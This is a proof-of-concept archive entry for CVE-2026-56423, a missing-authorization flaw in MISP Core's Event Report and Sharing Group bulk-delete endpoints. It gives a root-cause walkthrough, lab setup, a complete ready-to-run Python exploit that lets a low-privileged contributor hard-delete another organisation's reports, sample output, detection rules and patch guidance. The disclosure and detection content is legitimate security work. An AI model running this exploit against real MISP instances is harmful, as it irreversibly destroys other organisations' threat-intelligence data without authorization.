PoC Archive PoC Archive
CVE-2026-56423 category: web CVSS 8.8 (HIGH)
Patched

MISP Core `deleteSelection` Broken Access Control — Bulk Deletion of Foreign Event Reports & Sharing Groups (CVE-2026-56423)

Published: 2026-07-27 • Researcher: BiiTts (Caio Fabrício)

Target software MISP (Malware Information Sharing Platform) Core — EventReportsController::deleteSelection and SharingGroupsController::deleteSelection
Affected versions MISP Core up to and including 2.5.41 (fixed in 2.5.42)
Status Weaponized — contributor-level bulk hard-delete of a foreign organizations Event Report confirmed against a real MISP core build; denied on the patched build
Severity High · CVSS 8.8
CVSS 8.8/10
Severity
High
CVE
CVE-2026-56423
Category
web
Affected product
MISP (Malware Information Sharing Platform) Core — EventReportsController::deleteSelection and SharingGroupsController::deleteSelection
Affected versions
MISP Core up to and including 2.5.41 (fixed in 2.5.42)
Disclosed
2026-07-27
Patch status
Patched
On this page

Metadata

FieldValue
Date Added2026-07-27
Last Updated2026-07-27
Author / ResearcherBiiTts (Caio Fabrício)
CVE / AdvisoryCVE-2026-56423
Categoryweb
SeverityHigh
CVSS Score8.8 (CVSS 3.1, AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H)
StatusWeaponized — contributor-level bulk hard-delete of a foreign organizations Event Report confirmed against a real MISP core build; denied on the patched build
Tagsmisp, misp-core, broken-access-control, cwe-862, bulk-deletion, authenticated, threat-intel-platform
RelatedN/A

Affected Target

FieldValue
Software / SystemMISP (Malware Information Sharing Platform) Core — EventReportsController::deleteSelection and SharingGroupsController::deleteSelection
Versions AffectedMISP Core up to and including 2.5.41 (fixed in 2.5.42)
Language / PlatformPHP (CakePHP), MISP core application
Authentication RequiredYes — any authenticated account whose role has perm_add (the default built-in “User”/contributor role qualifies)
Network Access RequiredYes — direct HTTP(S) access to the MISP web/API interface

Summary

MISP’s bulk-deletion endpoints for Event Reports (/eventReports/deleteSelection) and Sharing Groups (/sharingGroups/deleteSelection) authorize each selected item using a checkModifyCallback that discards the item id and instead returns the acting user’s global role permission ($this->userRole['perm_add'] / perm_sharing_group). The equivalent single-item endpoint (/eventReports/delete/{id}) correctly performs a per-object check via fetchIfAuthorized/ownership resolution. As a result, any low-privileged authenticated contributor (default “User” role) can submit report or sharing-group IDs belonging to any organisation on the instance and hard-delete them in bulk, even though the per-item delete path for the exact same object is properly denied. This is a cross-tenant integrity/availability break in a platform CERTs, ISACs, and SOCs use to share sensitive threat intelligence.

Vulnerability Details

Root Cause

Tracked as CWE-862 (Missing Authorization). In app/Controller/EventReportsController.php, the deleteSelection action passes a checkModifyCallback closure to CRUDComponent::deleteSelection:

PHP
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
public function deleteSelection($id = null)
{
    return $this->CRUD->deleteSelection($id, [
        'modelName' => 'EventReport',
        ...
        'checkModifyCallback' => function($itemId) {
            return $this->userRole['perm_add'];   // ignores $itemId → global role bool
        },
    ]);
}

CRUDComponent::deleteSelection invokes this callback per selected id and deletes whenever it returns true:

PHP
1
2
3
$canModify = call_user_func($options['checkModifyCallback'], $itemId, $item);
if (!$canModify) { $fails[] = $cid; continue; }
if ($Model->delete($itemId)) { $successes[] = $cid; }

Because the callback returns $this->userRole['perm_add'] — a global boolean that is true for the default “User” role — the ownership/organisation of the target object is never evaluated. The item lookup itself (recursive => -1, by raw id or UUID) has no organisation scoping either, so any object on the instance can be targeted. Contrast this with the correctly guarded single-object action:

PHP
1
2
3
4
5
6
public function delete($id, $hard=false)
{
    $report = $this->EventReport->fetchIfAuthorized(
        $this->Auth->user(), $id, 'delete', $throwErrors=true, $full=false);
    ...
}

fetchIfAuthorized(..., 'delete') resolves the report against the caller’s organisation/permissions and throws if unauthorized — which is why the same request against /eventReports/delete/{id} is denied while /eventReports/deleteSelection succeeds. SharingGroupsController::deleteSelection has the identical defect, gated by perm_sharing_group instead of perm_add.

The ACL gate for deleteSelection (app/Controller/Component/ACLComponent.php) only requires AND(theming_enabled, perm_add)theming_enabled being a dynamic check on the MISP.enable_themes instance setting (off by default, but a normal UI feature flag enabled on many instances since it powers the v2 index/list UI). No per-object or per-organisation permission is enforced at the ACL layer; that responsibility was expected to live in the controller callback, and it was implemented incorrectly there.

Attack Vector

An authenticated user holding any role with perm_add (e.g. the default “User”/contributor role) — on an instance with MISP.enable_themes = true — submits a POST to /eventReports/deleteSelection (or /sharingGroups/deleteSelection) with the id(s)/UUID(s) of Event Reports (or Sharing Groups) owned by a different organisation. Because the authorization callback checks only the caller’s global perm_add/perm_sharing_group flag rather than ownership of the specific item, the objects are hard-deleted regardless of who owns them.

Impact

Any low-privileged user on a shared/multi-tenant MISP instance can irreversibly hard-delete Event Reports (analyst narrative attached to threat-intel events) and Sharing Groups belonging to other organisations, instance-wide. This is a cross-tenant integrity and availability compromise of a threat-intelligence sharing platform — deleted analyst work product and sharing-group configuration cannot be trivially recovered and directly undermines the trust model of a multi-org MISP deployment.

Environment / Lab Setup

Output
OS:          Linux host with Docker + docker compose
Target:      MISP core (official misp-docker stack), pinned via CORE_RUNNING_TAG:
             v2.5.40 (vulnerable) for the exploit demo, v2.5.42 (patched) for the boundary check
Attacker:    Any host with Python 3 (stdlib only — urllib, json, ssl)
Tools:       exploit.py (this folder), lab/setup.sh + lab/teardown.sh (this folder)

Setup Steps

Shell script
1
2
3
4
5
cd lab
./setup.sh          # clones MISP/misp-docker, brings up MISP core v2.5.40,
                     # enables MISP.enable_themes, provisions an attacker org +
                     # contributor user + a victim Event Report owned by the admin org
source /tmp/misp_poc.env   # exports CONTRIB_KEY, ADMIN_KEY, VICTIM_REPORT_ID

Proof of Concept

See exploit.py, ANALYSIS.md, EVIDENCE.txt, and lab/ (setup.sh, teardown.sh) in this folder — mirrored unmodified from BiiTts/CVE-2026-56423-MISP-deleteSelection-BrokenAccessControl. Verified before ingestion: real file contents were read in full — exploit.py is a straightforward, honest urllib-based script that (1) confirms the victim report exists via an admin read, (2) confirms the correctly-guarded per-object delete/{id} denies the contributor’s request (the discriminant), (3) issues the deleteSelection bulk-delete call and shows it succeeds, and (4) verifies the report is now gone. lab/setup.sh clones the real, official MISP/misp-docker project and provisions a genuine local MISP instance rather than faking output. No obfuscation, no unrelated network calls, no destructive default behavior beyond what the PoC explicitly documents. The claimed fix commits (ada02fa6, f99b3f16) were independently cross-checked directly against the MISP/MISP GitHub repository via gh api and confirmed to match the described root cause exactly — the callback is switched from returning the global role permission to a per-item fetchIfAuthorized call.

Step-by-Step Reproduction

  1. Stand up the vulnerable lab — brings up MISP core v2.5.40 via the official misp-docker compose stack, enables MISP.enable_themes, and provisions an attacker org, a contributor (“User” role) account, and a victim Event Report owned by the admin org.

    Shell script
    1
    2
    3
    
    cd lab
    ./setup.sh
    source /tmp/misp_poc.env
  2. Run the exploit — confirms the per-object delete path denies the contributor, then shows deleteSelection bulk-deleting the same foreign report.

    Shell script
    1
    2
    
    python3 ../exploit.py https://127.0.0.1:443 \
      --attacker-key "$CONTRIB_KEY" --admin-key "$ADMIN_KEY" --report-id "$VICTIM_REPORT_ID"
  3. Verify the patched boundary — re-run the same lab pinned to the fixed release and confirm the identical request is now denied.

    Shell script
    1
    2
    3
    
    CORE_RUNNING_TAG=v2.5.42 ./setup.sh
    # re-run the exploit against the new instance; deleteSelection now returns 403
    ./teardown.sh

Exploit Code

See exploit.py (full, unmodified) in this folder.

Python
1
2
3
4
5
6
7
8
9
code, body = api(args.base, args.attacker_key, f"/eventReports/delete/{rid}", method="POST", body={})
denied = code in (403, 405) or "authoriz" in body.lower() or "invalid" in body.lower() or '"error"' in body.lower()
print(f"[1] contributor legit delete/{rid}   -> HTTP {code}  ({'DENIED (expected)' if denied else 'unexpected'})")

code, body = api(args.base, args.attacker_key, "/eventReports/deleteSelection",
                 method="POST", body={"id": json.dumps([str(rid)])})
print(f"[2] contributor deleteSelection [{rid}] -> HTTP {code}  {body.strip()[:80]}")

gone = not report_exists(args.base, args.admin_key, rid)

Expected Output

Output
[*] target report id = 2 (owned by another org)
[+] report exists before attack
[1] contributor legit delete/2   -> HTTP 404  (DENIED (expected))
[2] contributor deleteSelection [2] -> HTTP 200  {"saved":true,"success":true,"name":"EventReport deleted."...}

[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection
    (legit per-object delete was denied; deleteSelection bypassed ownership).

Screenshots / Evidence

  • EVIDENCE.txt — full transcript in this folder: contributor identity, the per-object delete denial (404), the deleteSelection bulk-delete success (200), post-attack confirmation the foreign report is gone (404 on admin view), and the same request re-run against the patched v2.5.42 build (403, report intact).

Detection & Indicators of Compromise

Output

SIEM / IDS Rule (example):

Output
alert http any any -> any any (msg:"Possible MISP deleteSelection cross-org bulk delete (CVE-2026-56423)"; content:"POST"; http_method; content:"/eventReports/deleteSelection"; http_uri; sid:9000002;)
alert http any any -> any any (msg:"Possible MISP deleteSelection cross-org bulk delete (CVE-2026-56423)"; content:"POST"; http_method; content:"/sharingGroups/deleteSelection"; http_uri; sid:9000003;)

Remediation

ActionDetail
PatchUpgrade MISP core to 2.5.42 or later, which replaces the global-permission callback with a per-item EventReport::fetchIfAuthorized($user, $itemId, 'delete') authorization check (and the equivalent for Sharing Groups). Fix commits: ada02fa6 and f99b3f16 in MISP/MISP.
WorkaroundWhere upgrading is not immediately possible, disable MISP.enable_themes to close the ACL gate for deleteSelection (breaks the v2 index/list UI as a side effect), and/or restrict which roles are granted perm_add/perm_sharing_group to trusted, single-org users only.
Config HardeningAudit and monitor bulk-deletion actions instance-wide; on multi-org instances, treat any contributor role with perm_add as able to affect other orgs’ Event Reports/Sharing Groups until patched.

References

Notes

Verified before ingestion per this archive’s standing verify-before-ingest policy: the real file contents of the upstream repo (exploit.py, ANALYSIS.md, EVIDENCE.txt, lab/setup.sh, lab/teardown.sh) were read in full — the script is a plain, honest urllib-based reproduction with no obfuscation, droppers, or unrelated network calls, and the lab scripts clone and provision a genuine local MISP instance via the official MISP/misp-docker project rather than fabricating output. The claimed fix commits (ada02fa6, f99b3f16) were independently cross-checked directly against the MISP/MISP GitHub repository via gh api and confirmed to match the described root cause exactly: the vulnerable checkModifyCallback returns the caller’s global role permission (perm_add/perm_sharing_group) instead of performing a per-item fetchIfAuthorized ownership check, and the fix commits replace it with exactly that per-item check.

The author (BiiTts / Caio Fabrício) has a track record of other verified-real PoCs ingested into this archive this session (Budibase, Crawl4AI, Apache APISIX), which increased confidence in this submission ahead of the independent commit cross-check.

exploit.py
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
#!/usr/bin/env python3
# CVE-2026-56423 - MISP EventReports/SharingGroups deleteSelection broken access control
#
# EventReportsController::deleteSelection authorizes each selected item with a
# checkModifyCallback that ignores the item id and returns the caller's GLOBAL
# role permission (perm_add) instead of a per-report ownership check. Any
# contributor-level user (role with perm_add, e.g. the default "User" role) can
# therefore hard-delete Event Reports belonging to ANY organisation, instance-wide.
# The per-object `delete` action, by contrast, correctly calls
# EventReport::fetchIfAuthorized($user, $id, 'delete') and denies the same request.
#
# Fixed in MISP 2.5.42 (callback switched to fetchIfAuthorized per item).
#
# Author: Caio Fabricio (BiiTts) - https://github.com/BiiTts
# License: MIT
import argparse
import json
import ssl
import sys
import urllib.request
import urllib.error

def api(base, key, path, method="GET", body=None):
    url = base.rstrip("/") + path
    data = json.dumps(body).encode() if body is not None else None
    req = urllib.request.Request(url, data=data, method=method)
    req.add_header("Authorization", key)
    req.add_header("Accept", "application/json")
    req.add_header("Content-Type", "application/json")
    ctx = ssl.create_default_context()
    ctx.check_hostname = False
    ctx.verify_mode = ssl.CERT_NONE
    try:
        r = urllib.request.urlopen(req, context=ctx, timeout=30)
        return r.status, r.read().decode(errors="replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode(errors="replace")

def report_exists(base, key, rid):
    code, body = api(base, key, f"/eventReports/view/{rid}.json")
    return code == 200 and '"EventReport"' in body

def main():
    p = argparse.ArgumentParser(description="CVE-2026-56423 MISP deleteSelection BOLA PoC")
    p.add_argument("base", help="MISP base URL, e.g. https://127.0.0.1:443")
    p.add_argument("--attacker-key", required=True, help="authkey of a low-priv contributor (foreign org)")
    p.add_argument("--admin-key", required=True, help="admin authkey (used only to confirm the report exists / owner)")
    p.add_argument("--report-id", required=True, help="id of an Event Report owned by another organisation")
    args = p.parse_args()

    rid = args.report_id
    print(f"[*] target report id = {rid} (owned by another org)")

    # 0. confirm the victim report exists (as admin, read-only)
    if not report_exists(args.base, args.admin_key, rid):
        print("[-] report not found via admin; check --report-id"); sys.exit(2)
    print("[+] report exists before attack")

    # 1. discriminant: the correctly-authorized per-object delete must be DENIED
    code, body = api(args.base, args.attacker_key, f"/eventReports/delete/{rid}", method="POST", body={})
    denied = code in (403, 405) or "authoriz" in body.lower() or "invalid" in body.lower() or '"error"' in body.lower()
    print(f"[1] contributor legit delete/{rid}   -> HTTP {code}  ({'DENIED (expected)' if denied else 'unexpected'})")

    # 2. the bug: deleteSelection authorizes by global perm_add, not ownership
    code, body = api(args.base, args.attacker_key, "/eventReports/deleteSelection",
                     method="POST", body={"id": json.dumps([str(rid)])})
    print(f"[2] contributor deleteSelection [{rid}] -> HTTP {code}  {body.strip()[:80]}")

    # 3. verify the foreign report is gone
    gone = not report_exists(args.base, args.admin_key, rid)
    print()
    if denied and gone:
        print("[+] CONFIRMED: contributor hard-deleted another org's Event Report via deleteSelection")
        print("    (legit per-object delete was denied; deleteSelection bypassed ownership).")
        sys.exit(0)
    if not gone:
        print("[-] report still present; not vulnerable (likely patched >= 2.5.42)")
    sys.exit(1)

if __name__ == "__main__":
    main()